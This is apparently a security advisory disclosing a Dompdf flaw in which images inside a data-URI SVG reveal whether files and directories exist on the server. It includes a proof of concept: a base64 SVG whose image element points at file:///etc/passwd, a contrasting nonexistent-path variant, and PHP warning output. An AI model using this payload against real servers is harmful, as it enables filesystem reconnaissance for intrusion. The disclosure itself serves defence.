Dompdf: Embedded SVG images can leak existence of files and directories within the filesystem
위협 신호 · CVSS · EPSS · KEV
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Summary
If a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document.
Details
Using an <image> element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem.
1[Wed May 20 19:49:53 2026] PHP Warning: file_get_contents(file:///DOESNOTEXIST): Failed to open stream: No such file or directory in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173 2[Wed May 20 19:49:53 2026] PHP Notice: getimagesize(): Error reading from /tmp/svgsk9247ela7tm3SiqGyP! in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 196PoC
First, the attacker renders this HTML document:
1<html> 2<head> 3</head> 4<body> 5<img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEwMCAxMDAiCiAgICAgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgIDxpbWFnZSB4bGluazpocmVmPSJmaWxlOi8vL2V0Yy9wYXNzd2QiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj4KICAgIDwvc3ZnPgo="> 6 Hello World! 7</body> 8</html>The <img> tag contains the following SVG content:
1<?xml version="1.0" encoding="UTF-8" standalone="no"?> 2<svg width="100%" height="100%" viewBox="0 0 100 100" 3 xmlns="http://www.w3.org/2000/svg"> 4 <image xlink:href="file:///etc/passwd" x="0" y="0" width="100" height="100"> 5 </svg>As expected, the resulting PDF contains a broken image:
<img width="621" height="193" alt="image" src="https://github.com/user-attachments/assets/b615fabe-c578-4435-bcb4-e9ad0ac796d2" />
However, when supplying a path to a file or directory that does not exist, for example:
1<?xml version="1.0" encoding="UTF-8" standalone="no"?> 2<svg width="100%" height="100%" viewBox="0 0 100 100" 3 xmlns="http://www.w3.org/2000/svg"> 4 <image xlink:href="file:///DOESNOTEXIST" x="0" y="0" width="100" height="100"> 5 </svg>The resulting PDF is rendered normally, with the image displayed as empty space (since the file did not exist). Additionally, for easier visual inspection, a rendering bug (https://github.com/dompdf/php-svg-lib/issues/142) is used to rotate the "Hello World!" text 180 degrees from the expected position:
<img width="616" height="922" alt="image" src="https://github.com/user-attachments/assets/32f83aa5-8115-4b0f-8ac2-f7b75e2eeaa9" />Impact
By exploiting this vulnerability, an attacker is able to confirm the existence of files and directories located on the backend filesystem.
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